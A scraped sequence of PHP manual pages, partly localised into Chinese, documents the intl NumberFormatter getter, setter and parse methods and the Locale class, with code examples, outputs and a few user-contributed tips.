
1.234.567,891

注释

Note:

Formats achievable by this method of formatting cannot fully use the possibilities of underlying ICU library, such as to format currency with narrow currency symbol.

To fully utilize them use msgfmt_format_message().

参见

  • numfmt_get_error_code() - Get formatter's last error code
  • numfmt_format_currency() - Format a currency value
  • numfmt_parse() - Parse a number
  • msgfmt_format_message() - Quick format message

User Contributed Notes

mrSplendid 17-Jan-2023 07:24
on Linux you may need to install icu-data-full package for NumberFormatter to work properly with non-english locales.


Get an attribute

  • ? NumberFormatter::format
  • NumberFormatter::getErrorCode ?
  • PHP Manual
  • NumberFormatter
  • Get an attribute

NumberFormatter::getAttribute

numfmt_get_attribute

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getAttribute -- numfmt_get_attribute — Get an attribute

说明

面向对象风格

public NumberFormatter::getAttribute(int $attribute): int|float|false

过程化风格

numfmt_get_attribute(NumberFormatter $formatter, int $attribute): int|float|false

Get a numeric attribute associated with the formatter. An example of a numeric attribute is the number of integer digits the formatter will produce.

参数

formatter

NumberFormatter object.

attribute

Attribute specifier - one of the numeric attribute constants.

返回值

Return attribute value on success, or false on error.

示例

Example #1 numfmt_get_attribute() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setAttribute(NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

以上示例会输出：

Digits: 3
1.234.567,891
Digits: 2
1.234.567,89

参见

  • numfmt_get_error_code() - Get formatter's last error code
  • numfmt_get_text_attribute() - Get a text attribute
  • numfmt_set_attribute() - Set an attribute

User Contributed Notes

There are no user contributed notes for this page.


Get formatter's last error code

  • ? NumberFormatter::getAttribute
  • NumberFormatter::getErrorMessage ?
  • PHP Manual
  • NumberFormatter
  • Get formatter's last error code

NumberFormatter::getErrorCode

numfmt_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getErrorCode -- numfmt_get_error_code — Get formatter's last error code

说明

面向对象风格

public NumberFormatter::getErrorCode(): int

过程化风格

numfmt_get_error_code(NumberFormatter $formatter): int

Get error code from the last function performed by the formatter.

参数

formatter

NumberFormatter object.

返回值

Returns error code from last formatter call.

示例

Example #1 numfmt_get_error_code() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
if(intl_is_failure(numfmt_get_error_code($fmt))) {
report_error("Formatter error");
}
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
if(intl_is_failure($fmt->getErrorCode())) {
report_error("Formatter error");
}
?>

参见

  • numfmt_get_error_message() - Get formatter's last error message
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get formatter's last error message

  • ? NumberFormatter::getErrorCode
  • NumberFormatter::getLocale ?
  • PHP Manual
  • NumberFormatter
  • Get formatter's last error message

NumberFormatter::getErrorMessage

numfmt_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getErrorMessage -- numfmt_get_error_message — Get formatter's last error message

说明

面向对象风格

public NumberFormatter::getErrorMessage(): string

过程化风格

numfmt_get_error_message(NumberFormatter $formatter): string

Get error message from the last function performed by the formatter.

参数

formatter

NumberFormatter object.

返回值

Returns error message from last formatter call.

示例

Example #1 numfmt_get_error_message() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
var_dump(numfmt_get_error_message($fmt));
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
var_dump(numfmt_get_error_message($fmt));
?>

参见

  • numfmt_get_error_code() - Get formatter's last error code
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get formatter locale

  • ? NumberFormatter::getErrorMessage
  • NumberFormatter::getPattern ?
  • PHP Manual
  • NumberFormatter
  • Get formatter locale

NumberFormatter::getLocale

numfmt_get_locale

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getLocale -- numfmt_get_locale — Get formatter locale

说明

面向对象风格

public NumberFormatter::getLocale(int $type = ULOC_ACTUAL_LOCALE): string|false

过程化风格

numfmt_get_locale(NumberFormatter $formatter, int $type = ULOC_ACTUAL_LOCALE): string|false

Get formatter locale name.

参数

formatter

NumberFormatter object.

type

You can choose between valid and actual locale ( Locale::VALID_LOCALE, Locale::ACTUAL_LOCALE, respectively). The default is the actual locale.

返回值

The locale name used to create the formatter, or false on failure.

示例

Example #1 numfmt_get_locale() example

<?php
$req = 'fr_FR_PARIS';
$fmt = numfmt_create( $req, NumberFormatter::DECIMAL);
$res_val = numfmt_get_locale( $fmt, Locale::VALID_LOCALE );
$res_act = numfmt_get_locale( $fmt, Locale::ACTUAL_LOCALE );
printf( "Requested locale name: %s\nValid locale name: %s\nActual locale name: %s\n",
$req, $res_val, $res_act );
?>

以上示例会输出：

Requested locale name: fr_FR_PARIS
Valid locale name: fr_FR
Actual locale name: fr

参见

  • numfmt_create() - Create a number formatter
  • numfmt_get_error_code() - Get formatter's last error code

User Contributed Notes

There are no user contributed notes for this page.


Get formatter pattern

  • ? NumberFormatter::getLocale
  • NumberFormatter::getSymbol ?
  • PHP Manual
  • NumberFormatter
  • Get formatter pattern

NumberFormatter::getPattern

numfmt_get_pattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getPattern -- numfmt_get_pattern — Get formatter pattern

说明

面向对象风格

public NumberFormatter::getPattern(): string|false

过程化风格

numfmt_get_pattern(NumberFormatter $formatter): string|false

Extract pattern used by the formatter.

参数

formatter

NumberFormatter object.

返回值

Pattern string that is used by the formatter, or false if an error happens.

示例

Example #1 numfmt_get_pattern() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_pattern($fmt, "#0.# kg");
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setPattern("#0.# kg");
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

以上示例会输出：

Pattern: #,##0.###
1.234.567,891
Pattern: #0.# kg
1234567,9 kg

参见

  • numfmt_get_error_code() - Get formatter's last error code
  • numfmt_set_pattern() - Set formatter pattern
  • numfmt_create() - Create a number formatter

User Contributed Notes

There are no user contributed notes for this page.


Get a symbol value

  • ? NumberFormatter::getPattern
  • NumberFormatter::getTextAttribute ?
  • PHP Manual
  • NumberFormatter
  • Get a symbol value

NumberFormatter::getSymbol

numfmt_get_symbol

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getSymbol -- numfmt_get_symbol — Get a symbol value

说明

面向对象风格

public NumberFormatter::getSymbol(int $symbol): string|false

过程化风格

numfmt_get_symbol(NumberFormatter $formatter, int $symbol): string|false

Get a symbol associated with the formatter. The formatter uses symbols to represent the special locale-dependent characters in a number, for example the percent sign. This API is not supported for rule-based formatters.

参数

formatter

NumberFormatter object.

symbol

Symbol specifier, one of the format symbol constants.

返回值

The symbol string or false on error.

示例

Example #1 numfmt_get_symbol() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

以上示例会输出：

Sep: .
1.234.567,891
Sep: *
1*234*567,891

参见

  • numfmt_get_error_code() - Get formatter's last error code
  • numfmt_set_symbol() - Set a symbol value

User Contributed Notes

There are no user contributed notes for this page.


Get a text attribute

  • ? NumberFormatter::getSymbol
  • NumberFormatter::parseCurrency ?
  • PHP Manual
  • NumberFormatter
  • Get a text attribute

NumberFormatter::getTextAttribute

numfmt_get_text_attribute

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getTextAttribute -- numfmt_get_text_attribute — Get a text attribute

说明

面向对象风格

public NumberFormatter::getTextAttribute(int $attribute): string|false

过程化风格

numfmt_get_text_attribute(NumberFormatter $formatter, int $attribute): string|false

Get a text attribute associated with the formatter. An example of a text attribute is the suffix for positive numbers. If the formatter does not understand the attribute, U_UNSUPPORTED_ERROR error is produced. Rule-based formatters only understand NumberFormatter::DEFAULT_RULESET and NumberFormatter::PUBLIC_RULESETS.

参数

formatter

NumberFormatter object.

attribute

Attribute specifier - one of the text attribute constants.

返回值

Return attribute value on success, or false on error.

示例

Example #1 numfmt_get_text_attribute() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
numfmt_set_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
$fmt->setTextAttribute(NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
?>

以上示例会输出：

Prefix: -
-1.234.567,891
Prefix: MINUS
MINUS1.234.567,891

参见

  • numfmt_get_error_code() - Get formatter's last error code
  • numfmt_get_attribute() - Get an attribute
  • numfmt_set_text_attribute() - Set a text attribute

User Contributed Notes

There are no user contributed notes for this page.


Parse a currency number

  • ? NumberFormatter::getTextAttribute
  • NumberFormatter::parse ?
  • PHP Manual
  • NumberFormatter
  • Parse a currency number

NumberFormatter::parseCurrency

numfmt_parse_currency

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::parseCurrency -- numfmt_parse_currency — Parse a currency number

说明

面向对象风格

public NumberFormatter::parseCurrency(string $string, string &$currency, int &$offset = null): float|false

过程化风格

numfmt_parse_currency(
NumberFormatter $formatter,
string $string,
string &$currency,
int &$offset = null
): float|false

Parse a string into a float and a currency using the current formatter.

参数

formatter

NumberFormatter object.

currency

Parameter to receive the currency name (3-letter ISO 4217 currency code).

offset

Offset in the string at which to begin parsing. On return, this value will hold the offset at which parsing ended.

返回值

The parsed numeric value or false on error.

示例

Example #1 numfmt_parse_currency() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::CURRENCY );
$num = "1.234.567,89\xc2\xa0$";
echo "We have ".numfmt_parse_currency($fmt, $num, $curr)." in $curr\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::CURRENCY );
$num = "1.234.567,89\xc2\xa0$";
echo "We have ".$fmt->parseCurrency($num, $curr)." in $curr\n";
?>

以上示例会输出：

We have 1234567.89 in USD

参见

  • numfmt_get_error_code() - Get formatter's last error code
  • numfmt_parse() - Parse a number
  • numfmt_format_currency() - Format a currency value

User Contributed Notes

info at mm-newmedia dot de 09-Jul-2017 11:08
In reply to daniel at danielphenry dot com example note beneath. The given example by Daniel returns false under PHP7.x, which is a normal behavior since NumberFormatter::parseCurrency() is a method for parsing currency strings. It is trying to split up the given string in a float and a currency.

While using strict types under PHP7 the following example makes it more clearer.

<?php
declare(strict_types=1);
namespace MMNewmedia;

$oParser = new \NumberFormatter('de_DE', \NumberFormatter::CURRENCY);
var_dump($oParser->parseCurrency("1.234.567,89\xc2\xa0�", $currency), $currency));
?>

This example returns: "float(1234567.89) string(3) "EUR"

This is the expected behavior.

The following example runs into a type error, which is absolutely right, since this method is vor parsing strings and not vor formatting floats into currency strings.

<?php
declare(strict_types=1);
namespace MMNewmedia;

try {
    $oCurrencyParser = new \NumberFormatter('de_DE', \NumberFormatter::CURRENCY);
    $currency = 'EUR';
    var_dump($oCurrencyParser->parseCurrency(1.234, $currency), $currency);
} catch (\TypeError $oTypeError) {
    var_dump($oTypeError->getMessage());
}
?>

This example returns "NumberFormatter::parseCurrency() expects parameter 1 to be string, float given".

If you want to parse floats into a currency string use the http://php.net/manual/en/numberformatter.formatcurrency.php method as shown in the next example.

<?php
declare(strict_types=1);
namespace MMNewmedia;

$oFormatter = new \NumberFormatter('de_DE', \NumberFormatter::CURRENCY);
var_dump($oFormatter->formatCurrency(1234567.89, 'EUR'));
?>

This returns string(17) "1.234.567,89 �" as expected.


Parse a number

  • ? NumberFormatter::parseCurrency
  • NumberFormatter::setAttribute ?
  • PHP Manual
  • NumberFormatter
  • Parse a number

NumberFormatter::parse

numfmt_parse

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::parse -- numfmt_parse — Parse a number

说明

面向对象风格

public NumberFormatter::parse(string $string, int $type = NumberFormatter::TYPE_DOUBLE, int &$offset = null): int|float|false

过程化风格

numfmt_parse(
NumberFormatter $formatter,
string $string,
int $type = NumberFormatter::TYPE_DOUBLE,
int &$offset = null
): int|float|false

Parse a string into a number using the current formatter rules.

参数

formatter

NumberFormatter object.

string

The string to parse for the number.

type

The

 formatting type to use. By default,
NumberFormatter::TYPE_DOUBLE is used.
Note that NumberFormatter::TYPE_CURRENCY is not supported;
use NumberFormatter::parseCurrency() instead.

offset

Offset in the string at which to begin parsing. On return, this value will hold the offset at which parsing ended.

返回值

The value of the parsed number or false on error.

示例

Example #1 numfmt_parse() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$num = "1.234.567,891";
echo numfmt_parse($fmt, $num)."\n";
echo numfmt_parse($fmt, $num, NumberFormatter::TYPE_INT32)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$num = "1.234.567,891";
echo $fmt->parse($num)."\n";
echo $fmt->parse($num, NumberFormatter::TYPE_INT32)."\n";
?>

以上示例会输出：

1234567.891
1234567

参见

  • numfmt_get_error_code() - Get formatter's last error code
  • numfmt_format() - Format a number
  • numfmt_parse_currency() - Parse a currency number

User Contributed Notes

Rakasch 18-Dec-2018 11:41
'en_EN':

basically the first part is the language and the second part the region:
'en_EN' - english, England
'en_US' - english, United States

You can lookup the language tags like 'en_EN' here:
https://datahub.io/core/language-codes
see "ietf-language-tags"
helium73b at gmail dot com 21-Feb-2017 10:33
to parse English use this format: 'en_EN' .  I had to guess.  I have no idea where you would find these codes.

<?php
echo "<pre>";
$fmt = numfmt_create( 'en_EN', NumberFormatter::DECIMAL );
$num = "1,234,567.891";
echo numfmt_parse($fmt, $num)."\n";
echo numfmt_parse($fmt, $num, NumberFormatter::TYPE_INT32)."\n";
echo "</pre>";
?>

If this doesn't work well all I can say is it shouldn't work because it makes no sense that  you would repeat the code twice "en and EN" in one code.  Stuff that makes no sense is hard to guess.   I couldn't find a page that has these codes either.  I guess documentation is bound to be incomplete since it's so voluminous.  Documentation has a language and syntax unto itself yet there are no tutorials on understanding documentation.
rdohms at php dot net 06-Jul-2012 11:53
It interesting to note that the expected behavior for this function may change according to your ICU version.

In ICU 4.4.2 (standard for Ubuntu 10.* with PHP 5.3.5)

    With locale 'en', input of 100,1 returns 1001

In ICU 4.8.1 (standard for Ubuntu 12.* with PHP 5.3.10)

    With locale 'en', input of 100,1 returns "false"

Be sure to note your ICU version in phpinfo() to be sure you will get the expected output.


Set an attribute

  • ? NumberFormatter::parse
  • NumberFormatter::setPattern ?
  • PHP Manual
  • NumberFormatter
  • Set an attribute

NumberFormatter::setAttribute

numfmt_set_attribute

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::setAttribute -- numfmt_set_attribute — Set an attribute

说明

面向对象风格

public NumberFormatter::setAttribute(int $attribute, int|float $value): bool

过程化风格

numfmt_set_attribute(NumberFormatter $formatter, int $attribute, int|float $value): bool

Set a numeric attribute associated with the formatter. An example of a numeric attribute is the number of integer digits the formatter will produce.

参数

formatter

NumberFormatter object.

attribute

Attribute specifier - one of the numeric attribute constants.

value

The attribute value.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 numfmt_set_attribute() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setAttribute(NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

以上示例会输出：

Digits: 3
1.234.567,891
Digits: 2
1.234.567,89

参见

  • numfmt_get_error_code() - Get formatter's last error code
  • numfmt_get_attribute() - Get an attribute
  • numfmt_set_text_attribute() - Set a text attribute

User Contributed Notes

There are no user contributed notes for this page.


Set formatter pattern

  • ? NumberFormatter::setAttribute
  • NumberFormatter::setSymbol ?
  • PHP Manual
  • NumberFormatter
  • Set formatter pattern

NumberFormatter::setPattern

numfmt_set_pattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::setPattern -- numfmt_set_pattern — Set formatter pattern

说明

面向对象风格

public NumberFormatter::setPattern(string $pattern): bool

过程化风格

numfmt_set_pattern(NumberFormatter $formatter, string $pattern): bool

Set the pattern used by the formatter. Can not be used on a rule-based formatter.

参数

formatter

NumberFormatter object.

pattern

Pattern in syntax described in » ICU DecimalFormat documentation.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 numfmt_set_pattern() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_pattern($fmt, "#0.# kg");
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setPattern("#0.# kg");
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

以上示例会输出：

Pattern: #,##0.###
1.234.567,891
Pattern: #0.# kg
1234567,9 kg

参见

  • numfmt_get_error_code() - Get formatter's last error code
  • numfmt_create() - Create a number formatter
  • numfmt_get_pattern() - Get formatter pattern

User Contributed Notes

Crash 02-Oct-2020 10:27
If you're looking for the pattern syntax, their documentation is here: http://unicode.org/reports/tr35/tr35-numbers.html#Number_Format_Patterns
Anonymous 06-Jun-2019 02:22
setPattern appears to influence only the behavior of the format method, not the parse method of the NumberFormatter object.

$pattern = '#,##0';
$frmtr = NumberFormatter::create('en-US', NumberFormatter::DECIMAL);
$frmtr->setPattern($pattern);
echo $frmtr->parse('12.345');

// returns 12


Set a symbol value

  • ? NumberFormatter::setPattern
  • NumberFormatter::setTextAttribute ?
  • PHP Manual
  • NumberFormatter
  • Set a symbol value

NumberFormatter::setSymbol

numfmt_set_symbol

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::setSymbol -- numfmt_set_symbol — Set a symbol value

说明

面向对象风格

public NumberFormatter::setSymbol(int $symbol, string $value): bool

过程化风格

numfmt_set_symbol(NumberFormatter $formatter, int $symbol, string $value): bool

Set a symbol associated with the formatter. The formatter uses symbols to represent the special locale-dependent characters in a number, for example the percent sign. This API is not supported for rule-based formatters.

参数

formatter

NumberFormatter object.

symbol

Symbol specifier, one of the format symbol constants.

value

Text for the symbol.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 numfmt_set_symbol() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

以上示例会输出：

Sep: .
1.234.567,891
Sep: *
1*234*567,891

参见

  • numfmt_get_error_code() - Get formatter's last error code
  • numfmt_get_symbol() - Get a symbol value

User Contributed Notes

vreemt+phpnet at gmail dot com 29-Aug-2019 03:55
this could be obvious to some, but `setSymbol(NumberFormatter::CURRENCY_SYMBOL, '')` doesn't work for `formatCurrency` - it will simply be ignored...

use `NumberFormatter::CURRENCY` and `$fmt->format(123);` to get a currency value with the symbol specified as `CURRENCY_SYMBOL` (or `INTL_CURRENCY_SYMBOL`)


Set a text attribute

  • ? NumberFormatter::setSymbol
  • Locale ?
  • PHP Manual
  • NumberFormatter
  • Set a text attribute

NumberFormatter::setTextAttribute

numfmt_set_text_attribute

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::setTextAttribute -- numfmt_set_text_attribute — Set a text attribute

说明

面向对象风格

public NumberFormatter::setTextAttribute(int $attribute, string $value): bool

过程化风格

numfmt_set_text_attribute(NumberFormatter $formatter, int $attribute, string $value): bool

Set a text attribute associated with the formatter. An example of a text attribute is the suffix for positive numbers. If the formatter does not understand the attribute, U_UNSUPPORTED_ERROR error is produced. Rule-based formatters only understand NumberFormatter::DEFAULT_RULESET and NumberFormatter::PUBLIC_RULESETS.

参数

formatter

NumberFormatter object.

attribute

Attribute specifier - one of the text attribute constants.

value

Text for the attribute value.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 numfmt_set_text_attribute() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
numfmt_set_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
$fmt->setTextAttribute(NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
?>

以上示例会输出：

Prefix: -
-1.234.567,891
Prefix: MINUS
MINUS1.234.567,891

参见

  • numfmt_get_error_code() - Get formatter's last error code
  • numfmt_get_text_attribute() - Get a text attribute
  • numfmt_set_attribute() - Set an attribute

User Contributed Notes

There are no user contributed notes for this page.


The Locale class

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

简介

A "Locale" is an identifier used to get language, culture, or regionally-specific behavior from an API. PHP locales are organized and identified the same way that the CLDR locales used by ICU (and many vendors of Unix-like operating systems, the Mac, Java, and so forth) use. Locales are identified using RFC 4646 language tags (which use hyphen, not underscore) in addition to the more traditional underscore-using identifiers. Unless otherwise noted the functions in this class are tolerant of both formats.

Examples of identifiers include:

  • en-US (English, United States)
  • zh-Hant-TW (Chinese, Traditional Script, Taiwan)
  • fr-CA, fr-FR (French for Canada and France respectively)

The Locale class (and related procedural functions) are used to interact with locale identifiers--to verify that an ID is well-formed, valid, etc. The extensions used by CLDR in UAX #35 (and inherited by ICU) are valid and used wherever they would be in ICU normally.

Locales cannot be instantiated as objects. All of the functions/methods provided are static.

The null or empty string obtains the "root" locale. The "root" locale is equivalent to "en_US_POSIX" in CLDR. Language tags (and thus locale identifiers) are case insensitive. There exists a canonicalization function to make case match the specification.

类摘要

class Locale {
/* 常量 */
public const int ACTUAL_LOCALE;
public const int VALID_LOCALE;
public const null DEFAULT_LOCALE = null;
public const string LANG_TAG;
public const string EXTLANG_TAG;
public const string SCRIPT_TAG;
public const string REGION_TAG;
public const string VARIANT_TAG;
public const string GRANDFATHERED_LANG_TAG;
public const string PRIVATE_TAG;
/* 方法 */
public static acceptFromHttp(string $header): string|false
public static canonicalize(string $locale): ?string
public static composeLocale(array $subtags): string|false
public static filterMatches(string $languageTag, string $locale, bool $canonicalize = false): ?bool
public static getAllVariants(string $locale): ?array
public static getDefault(): string
public static getDisplayLanguage(string $locale, ?string $displayLocale = null): string|false
public static getDisplayName(string $locale, ?string $displayLocale = null): string|false
public static getDisplayRegion(string $locale, ?string $displayLocale = null): string|false
public static getDisplayScript(string $locale, ?string $displayLocale = null): string|false
public static getDisplayVariant(string $locale, ?string $displayLocale = null): string|false
public static getKeywords(string $locale): array|false|null
public static getPrimaryLanguage(string $locale): ?string
public static getRegion(string $locale): ?string
public static getScript(string $locale): ?string
public static lookup(
array $languageTag,
string $locale,
bool $canonicalize = false,
?string $defaultLocale = null
): ?string
public static parseLocale(string $locale): ?array
public static setDefault(string $locale): bool
}

预定义常量

Locale::DEFAULT_LOCALE
Used as locale parameter with the methods of the various locale affected classes, such as NumberFormatter. This constant would make the methods to use default locale.

These constants describe the choice of the locale for the getLocale method of different classes.

Locale::ACTUAL_LOCALE
This is locale the data actually comes from.
Locale::VALID_LOCALE
This is the most specific locale supported by ICU.

These constants define how the Locales are parsed or composed. They should be used as keys in the argument array to locale_compose() and are returned from locale_parse() as keys of the returned associative array.

Locale::LANG_TAG
Language subtag
Locale::EXTLANG_TAG
Extended language subtag
Locale::SCRIPT_TAG
Script subtag
Locale::REGION_TAG
Region subtag
Locale::VARIANT_TAG
Variant subtag
Locale::GRANDFATHERED_LANG_TAG
Grandfathered Language subtag
Locale::PRIVATE_TAG
Private subtag

参见

  • » RFC 4646 - Tags for Identifying Languages
  • » RFC 4647 - Matching of Language Tags
  • » Unicode CLDR Project:Common Locale Data Repository
  • » IANA Language Subtags Registry
  • » ICU User Guide - Locale
